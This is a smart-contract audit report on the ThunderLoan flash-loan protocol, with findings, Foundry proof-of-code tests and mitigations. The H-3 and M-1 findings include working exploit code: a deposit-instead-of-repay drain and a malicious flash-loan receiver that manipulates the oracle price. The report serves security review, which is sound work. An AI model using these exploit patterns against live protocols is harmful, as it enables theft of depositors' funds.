ThunderLoan Audit Report

Version 1.0

Cyfrin.io

May 1, 2024

ThunderLoan Audit Report

Bluedragon101

May 1, 2024

Prepared by: Bluedragon101

Lead Auditors:

- [Shibi_Kishore]

- Findings
  - High
    - [H-1] Erroneous in `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorectly sets the exchange rate.
    - [H-2] Mixing up variable location in `ThunderLoanUpgraded` causes storage collision in `ThunderLoan::s_flashLoanFee` and `ThunderLoanUpgraded::s_currentlyFlashLoaning`, freezing the protocol.
    - [H-3] All funds can be stolen is the flash loan is return via `ThunderLoan::deposit` instead of `ThunderLoan::repay`
  - Medium
    - [M-1] Using Tswap as price oracle leads to price and orcale manipulation, causing liquidity providers to receive less fees than they should.
    - [M-2] `ThunderLoan::allowedTokens` can permanently lock liquidity providers from redeeming tokens from the protocol
  - Low
    - [L-1] PUSH0 is not supported by all chains
    - [L-2] Event is missing `indexed` fields
  - Informational

* [NC-1] Missing checks for `address(0)` when assigning values to address state variables
* [NC-2] `public` functions not used internally could be marked `external`
* [NC-3] Empty Block
* [NC-4] Internal functions called only once can be inlined

Disclaimer

The Bluedragon101 team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

Audit Details

The findings described in this document correspond the following commit hash:

```
8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	2
Info	4
Total	11

Findings

High

[H-1] Erroneous in `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorectly sets the exchange rate.

Description: In the ThunderLoan system the `exchangeRate` is responsible for calculating the exchnage rate between assetTokens and underlyingTokens. In a way, it's responsible for keeping track of how many fees to give to the liquidity providers.

However, the `deposit` function, updates this rate, without collecting any fees!

```
1 function deposit(IERC20 token, uint256 amount) external revertIfZero(
     amount) revertIfNotAllowedToken(token) {
2         AssetToken assetToken = s_tokenToAssetToken[token];
3         uint256 exchangeRate = assetToken.getExchangeRate();
4         uint256 mintAmount = (amount * assetToken.
              EXCHANGE_RATE_PRECISION()) / exchangeRate;
5         emit Deposit(msg.sender, token, amount);
6         assetToken.mint(msg.sender, mintAmount);
```

```
7  @>      uint256 calculatedFee = getCalculatedFee(token, amount);
8  @>      assetToken.updateExchangeRate(calculatedFee);
9          token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
10     }
```

Impact: There are several impacts to this bug:

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has
2. Rewards are incorrectly calculated, leading to users potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible to redeem the LP tokens

Proof Of Code

Place the following the code into the `ThunderLoanTest.t.sol` contract:

```
1  function testRedeem() public setAllowedToken hasDeposits {
2          uint256 amountToBorrow = AMOUNT * 10;
3          vm.startPrank(user);
4          tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
5          AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
6          console.log("before flashloan %e", tokenA.balanceOf(address(
               asset)));
7          thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
               amountToBorrow, "");
8          console.log("after flashloan %e", tokenA.balanceOf(address(
               asset)));
9          vm.stopPrank();
10
11         uint256 amountToRedeem = type(uint256).max;
12         vm.startPrank(liquidityProvider);
13         console.log("before redeem %e", tokenA.balanceOf(address(
               liquidityProvider)));
14         thunderLoan.redeem(tokenA, amountToRedeem);
15         console.log("after redeem %e", tokenA.balanceOf(address(
               liquidityProvider)));
16         vm.stopPrank();
17 }
```

Recommended Mitigation: Remove the incorrectly updated the exchange rates the lines from `deposit`

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

[H-2] Mixing up variable location in `ThunderLoanUpgraded` causes storage collision in `ThunderLoan::s_flashLoanFee` and `ThunderLoanUpgraded::s_currentlyFlashLoaning`, freezing the protocol.

Description: The `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision; // slot 2
    uint256 private s_flashLoanFee; // slot 3
```

However, in the `ThunderLoanUpgraded.sol` has them in different order:

```
    uint256 private s_flashLoanFee; // slot 2
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how solidity works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision` and vice versa. This will cause the protocol to freeze, so you cannot adjust the position of storage variables and removing storage variables for constant variables breaks the protocol.

Impact: After the uprgade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means thta users who take out flash loans will be charged the wrong fee, and the protocol will not be able to adjust the fee.

More importantly, the `s_currentlyFlashLoaning` will start at wrong storage slot.

Proof of Concept:

1. Get the fee before the upgrade
2. Upgrade the contract
3. Get the fee after the upgrade

Proof Of Code

```
function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console.log("Fee before upgrade: %e", feeBeforeUpgrade);
        console.log("Fee after upgrade: %e", feeAfterUpgrade);
}
```

Here is Foundry Output

```
Logs:
  Fee before upgrade: 3e15
  Fee after upgrade: 1e18
```

You can also see the storage layout difference in the `ThunderLoan` and `ThunderLoanUpgraded` contracts by running `forge inspect ThunderLoan storageLayout` and `forge inspect ThunderLoanUpgraded storageLayout`.

Recommended Mitigation: If you must remove the storage variable leave it as blank as to no mess up the storage layout.

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 s_blank;
+    uint256 private s_flashLoanFee; // 0.3% ETH fee
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-3] All funds can be stolen is the flash loan is return via `ThunderLoan::deposit` instead of `ThunderLoan::repay`

Description: In the `ThunderLoan` system, the `FlashLoan` function allows users to take out a flash loan. The `deposit` function allows users to deposit tokens into the protocol. However, if a attacker takes out a flash loan and then deposits the tokens back into the protocol, instead of repaying the flash loan, they can steal the funds from the protocol. Beacuse the protocol does not check the loan is only repayed through `ThunderLoan::repay`.

```
function flashloan(
        address receiverAddress, //@e received of the flash loan token
        IERC20 token, //@e token to be borrowed
        uint256 amount, //@e amount to be borrowed
        bytes calldata params //@e paramter to call with
            receiverAddress with
```

```
6       )
7           external
8           revertIfZero(amount)
9           revertIfNotAllowedToken(token)
10      {
11          AssetToken assetToken = s_tokenToAssetToken[token];
12  @>      uint256 startingBalance = IERC20(token).balanceOf(address(
        assetToken));
13          .
14          .
15          .
16          .
17          .
18          .
19  @>      uint256 endingBalance = token.balanceOf(address(assetToken));
20          if (endingBalance < startingBalance + fee) {
21              revert ThunderLoan__NotPaidBack(startingBalance + fee,
                    endingBalance);
22          }
23          s_currentlyFlashLoaning[token] = false;
24      }
```

Impact: Thus a attacker can take out `FlashLoan` and then deposit the tokens back into the protocol, instead of repaying the flash loan, they can steal the funds from the protocol.

Proof of Concept:

1. Alice takes deposits 1000 `tokenA` into the protocol
2. Attacker takes out a flash loan of 1000 `tokenA`
3. Attacker deposits 1000 `tokenA` back into the protocol in same transaction
4. Attacker steals 1000 `tokenA` from the protocol using the `redeem` function
5. Causing Alice to lose 1000 `tokenA`

Proof Of Code

```
1  function testDepositInsteadOfRepayToStealFunds() public setAllowedToken
       hasDeposits {
2          uint256 amountToBorrow = AMOUNT * 10;
3          MaliciousDeposit md = new MaliciousDeposit(address(thunderLoan)
               , address(thunderLoan.getAssetFromToken(tokenA)));
4          uint256 fee = thunderLoan.getCalculatedFee(tokenA,
               amountToBorrow);
5          // 1. Take out a flash loan
6          // 2. deposit intead of repay
7          vm.startPrank(user);
8          tokenA.mint(address(md), fee);
9          thunderLoan.flashloan(address(md), tokenA, amountToBorrow, "");
10         // 3. redeem the deposit
11         console.log("The balance of the attacker before redeem: ",
               tokenA.balanceOf(address(md)));
```

```
12          md.redeemMoney(tokenA);
13          console.log("The balance of the attacker after redeem: ",
                tokenA.balanceOf(address(md)));
14          vm.stopPrank();
15      }
```

Here is the Foundry Output

```
1  Logs:
2    The balance of the attacker before redeem:  0
3    The balance of the attacker after redeem:  100327437357158047785
```

Recommended Mitigation: Add a check in the `flashloan` function to ensure that the loan is repayed only through the `ThunderLoan::repay` function.

Medium

[M-1] Using Tswap as price oracle leads to price and orcale manipulation, causing liquidity providers to receive less fees than they should.

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

```
1  function getPriceInWeth(address token) public view returns (uint256) {
2          address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
               token);
3  @>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
       ();
```

Impact: Liquidity providers will drastically get reduced fees for providing liquidity than they should get.

Proof of Concept: The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

3. The user then repays the first flash loan, and then repays the second flash loan.

Proof Of Code

Place the following the code into the `ThunderLoanTest.t.sol` contract:

```
function testOrcalePriceManipulation() public {
        // 1. Setup the Mocks
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        //Create a Tswap Dex between WETH / TokenA
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(tswapPool, 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(tswapPool, 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
        vm.stopPrank();
        // Ratio 100 WETH & 100 TokenA
        // Price 1:1

        // 3. Fund ThunderLoan
        // Set allow
        vm.startPrank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        // Fund it
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        // 100 WETH & 100 TokenA in TswapPool
        // 1000 TokenA in ThunderLoan
        // Take out a flash loan of 50 TokenA
        // Swap it on the dex, tanking the price> 150 TokenA -> 80 WETH
        // Take out another flash loan of 50 TokenA and make way cheaper

        // 4. We are going to take out 2 flash loan
        //      a. To nuke the price of the Weth/TokenA on Tswap
        //      b. To show that doing so greatly reduces the fees we
```

```
            pay on thunderLoan
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
            100e18);
        console.log("Noraml Fee Cost %e", normalFeeCost); //
            0.296147410319118389e18

        uint256 amountToBorrow = 50e18;
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
            (
            address(tswapPool), address(thunderLoan), address(
                thunderLoan.getAssetFromToken(tokenA))
        );
        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
            ;
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console.log("Attack Fee is: %e", attackFee);
        assertLt(attackFee, normalFeeCost);
    }
```

Here is the contract as well

```
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address _tswapPool, address _thunderLoan, address
        _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /* initiator */
        bytes calldata /* params */
    )
        external
        returns (bool)
    {
        if (!attacked) {
```

```
26              // 1. swap TokenA  borrowed for WETH
27              // 2. Take another flash loan to make the fees cheaper
28              feeOne = fee;
29              attacked = true;
30              uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                    (50e18, 100e18, 100e18);
31              IERC20(token).approve(address(tswapPool), 50e18);
32              // tank the price!!
33              tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                    wethBought, block.timestamp);
34              // call the second flash loan
35              thunderLoan.flashloan(address(this), IERC20(token), amount,
                     "");
36              // repay
37              // IERC20(token).approve(address(thunderLoan), 50e18 + fee)
                    ;
38              // thunderLoan.repay(IERC20(token), 50e18 + fee);
39              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
40          } else {
41              // calculate the fee
42              feeTwo = fee;
43              // repay
44              // IERC20(token).approve(address(thunderLoan), 50e18 + fee)
                    ;
45              // thunderLoan.repay(IERC20(token), 50e18 + fee);
46              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
47          }
48          return true;
49      }
50  }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with Uniswap TWAP fallback oracle.

[M-2] `ThunderLoan::allowedTokens` can permanently lock liquidity providers from redeeming tokens from the protocol

Description: In the `ThunderLoan` contract the `setAllowedTokens` function allows the owner to set which tokens are allowed to be deposited into the protocol. However, if the owner sets a token to **`false`** in the `allowedTokens` mapping, the liquidity providers who have deposited that token into the protocol will not be able to redeem their tokens.

```
1  function setAllowedToken(IERC20 token, bool allowed) external onlyOwner
       returns (AssetToken) {
2          if (allowed) {
3              .
```

```
4                 .
5                 .
6             }
7             else {
8 @>              AssetToken assetToken = s_tokenToAssetToken[token];
9                 delete s_tokenToAssetToken[token];
10                emit AllowedTokenSet(token, assetToken, allowed);
11                return assetToken;
12            }
13        }
```

Impact: If the owner sets a token to `false` in the `allowedTokens` mapping, the liquidity providers who have deposited that token into the protocol will not be able to redeem their tokens.Causing the funds to be locked in the contract forever.

Proof of Concept:

1. Alice deposits 1000 `tokenA` into the protocol
2. Bob deposits 1000 `tokenB` into the protocol
3. Owner sets `tokenA` to `true` in the `allowedTokens` mapping
4. Owner sets `tokenB` to `false` in the `allowedTokens` mapping
5. Alice can redeem her `tokenA` but Bob cannot redeem his `tokenB`
6. Bob's funds are locked in the contract forever

Proof Of Code

```
1  function testCannotRedeemNotAllowedTokenAfterDepositing() public {
2          address alice = makeAddr("alice");
3          address bob = makeAddr("bob");
4          tokenA.mint(address(alice), 1000 ether);
5          tokenB.mint(address(bob), 1000 ether);
6
7          vm.startPrank(thunderLoan.owner());
8          thunderLoan.setAllowedToken(tokenA, true);
9          thunderLoan.setAllowedToken(tokenB, true);
10         assertEq(thunderLoan.isAllowedToken(tokenA), true);
11         assertEq(thunderLoan.isAllowedToken(tokenB), true);
12         vm.stopPrank();
13
14         // alice deposits tokenA
15         vm.startPrank(alice);
16         tokenA.approve(address(thunderLoan), 1000e18);
17         thunderLoan.deposit(tokenA, 1000e18);
18         vm.stopPrank();
19
20         // bob deposits tokenB
21         vm.startPrank(bob);
22         tokenB.approve(address(thunderLoan), 1000e18);
23         thunderLoan.deposit(tokenB, 1000e18);
```

```
24          vm.stopPrank();
25
26          // Owner set bob's token to false
27          vm.startPrank(thunderLoan.owner());
28          thunderLoan.setAllowedToken(tokenB, false);
29          vm.stopPrank();
30
31          // alice redeems her tokens
32          vm.startPrank(alice);
33          thunderLoan.redeem(tokenA, 500e18);
34          assertGt(tokenA.balanceOf(address(alice)), 500e18);
35          vm.stopPrank();
36
37          // bob tries to redeem his tokens
38          vm.startPrank(bob);
39          vm.expectRevert(abi.encodeWithSelector(ThunderLoan.
                ThunderLoan__NotAllowedToken.selector, address(tokenB)));
40          thunderLoan.redeem(tokenB, 500e18);
41          vm.stopPrank();
42      }
```

Recommended Mitigation: Add a check in the `setAllowedTokens` function to ensure that the if a token has balance, it cannot be set to **`false`** in the `allowedTokens` mapping.

```
1   function setAllowedToken(IERC20 token, bool allowed) external
        onlyOwner returns (AssetToken) {
2           if (allowed) {
3               if (address(s_tokenToAssetToken[token]) != address(0)) {
4                   revert ThunderLoan__AlreadyAllowed();
5               }
6               string memory name = string.concat("ThunderLoan ",
                    IERC20Metadata(address(token)).name());
7               string memory symbol = string.concat("tl", IERC20Metadata(
                    address(token)).symbol());
8               AssetToken assetToken = new AssetToken(address(this), token
                    , name, symbol);
9               s_tokenToAssetToken[token] = assetToken;
10              emit AllowedTokenSet(token, assetToken, allowed);
11              return assetToken;
12          }
13          else {
14  +           if(token.balanceOf(address(this)) > 0) {
15  +               revert ThunderLoan__CannotSetAllowedTokenToFalse();
16  +           }
17              AssetToken assetToken = s_tokenToAssetToken[token];
18              delete s_tokenToAssetToken[token];
19              emit AllowedTokenSet(token, assetToken, allowed);
20              return assetToken;
21          }
22      }
```

Low

[L-1] PUSH0 is not supported by all chains

Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

- Found in src/interfaces/IFlashLoanReceiver.sol Line: 2

```
1 pragma solidity 0.8.20;
```

- Found in src/interfaces/IPoolFactory.sol Line: 2

```
1 pragma solidity 0.8.20;
```

- Found in src/interfaces/ITSwapPool.sol Line: 2

```
1 pragma solidity 0.8.20;
```

- Found in src/interfaces/IThunderLoan.sol Line: 2

```
1 pragma solidity 0.8.20;
```

- Found in src/protocol/AssetToken.sol Line: 2

```
1 pragma solidity 0.8.20;
```

- Found in src/protocol/OracleUpgradeable.sol Line: 2

```
1 pragma solidity 0.8.20;
```

- Found in src/protocol/ThunderLoan.sol Line: 64

```
1 pragma solidity 0.8.20;
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 64

```
1 pragma solidity 0.8.20;
```

[L-2] Event is missing `indexed` fields

Description: Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if

there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/protocol/AssetToken.sol Line: 34

```
1       event ExchangeRateUpdated(uint256 newExchangeRate);
```

- Found in src/protocol/ThunderLoan.sol Line: 109

```
1       event Deposit(address indexed account, IERC20 indexed token,
            uint256 amount);
```

- Found in src/protocol/ThunderLoan.sol Line: 110

```
1       event AllowedTokenSet(IERC20 indexed token, AssetToken indexed
             asset, bool allowed);
```

- Found in src/protocol/ThunderLoan.sol Line: 111

```
1       event Redeemed(
```

- Found in src/protocol/ThunderLoan.sol Line: 114

```
1       event FlashLoan(address indexed receiverAddress, IERC20
            indexed token, uint256 amount, uint256 fee, bytes params);
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 105

```
1       event Deposit(address indexed account, IERC20 indexed token,
            uint256 amount);
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 106

```
1       event AllowedTokenSet(IERC20 indexed token, AssetToken indexed
             asset, bool allowed);
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 107

```
1       event Redeemed(
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 110

```
1       event FlashLoan(address indexed receiverAddress, IERC20
            indexed token, uint256 amount, uint256 fee, bytes params);
```

Informational

[NC-1] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/protocol/OracleUpgradeable.sol Line: 19

```
1          s_poolFactory = poolFactoryAddress;
```

[NC-2] `public` functions not used internally could be marked `external`

Instead of marking a function as **`public`**, consider marking it as `external` if it is not used internally.

- Found in src/protocol/ThunderLoan.sol Line: 242

```
1      function repay(IERC20 token, uint256 amount) public {
```

- Found in src/protocol/ThunderLoan.sol Line: 300

```
1      function getAssetFromToken(IERC20 token) public view returns (
           AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 304

```
1      function isCurrentlyFlashLoaning(IERC20 token) public view
           returns (bool) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 230

```
1      function repay(IERC20 token, uint256 amount) public {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 275

```
1      function getAssetFromToken(IERC20 token) public view returns (
           AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 279

```
1      function isCurrentlyFlashLoaning(IERC20 token) public view
           returns (bool) {
```

[NC-3] Empty Block

Consider removing empty blocks.

- Found in src/protocol/ThunderLoan.sol Line: 316

```
1       function _authorizeUpgrade(address newImplementation) internal
            override onlyOwner { }
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 287

```
1       function _authorizeUpgrade(address newImplementation) internal
            override onlyOwner { }
```

[NC-4] Internal functions called only once can be inlined

Instead of separating the logic into a separate function, consider inlining the logic into the calling function. This can reduce the number of function calls and improve readability.

- Found in src/protocol/OracleUpgradeable.sol Line: 18

```
1       function __Oracle_init_unchained(address poolFactoryAddress)
           internal onlyInitializing {
```